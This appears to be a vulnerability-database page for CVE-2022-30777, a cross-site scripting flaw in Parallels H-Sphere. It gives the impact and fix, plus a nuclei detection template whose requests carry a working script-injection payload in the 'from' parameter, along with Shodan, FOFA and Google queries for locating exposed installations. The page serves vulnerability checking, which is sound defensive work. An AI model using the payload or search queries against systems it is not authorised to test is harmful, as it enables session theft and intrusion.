HexBrain

Browse / CVEs / CVE-2022-30777

CVE-2022-30777· parallels / h-sphere· CWE-79

Parallels H-Sphere 3.6.1713 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<TITLE>\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-30777 -u <target>

The full check
id: CVE-2022-30777

info:
  name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting
  author: 3th1c_yuk1
  severity: medium
  description: |
    Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability.
  reference:
    - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59
    - https://en.wikipedia.org/wiki/H-Sphere
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30777
    - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30777
    cwe-id: CWE-79
    epss-score: 0.02296
    epss-percentile: 0.8341
    cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: parallels
    product: h-sphere
    shodan-query:
      - title:"h-sphere"
      - http.title:"h-sphere"
      - http.title:"parallels h-sphere"
    fofa-query:
      - title="h-sphere"
      - title="parallels h-sphere"
    google-query:
      - intitle:"h-sphere"
      - intitle:"parallels h-sphere"
  tags: cve,cve2022,parallels,hsphere,xss,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<TITLE>"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from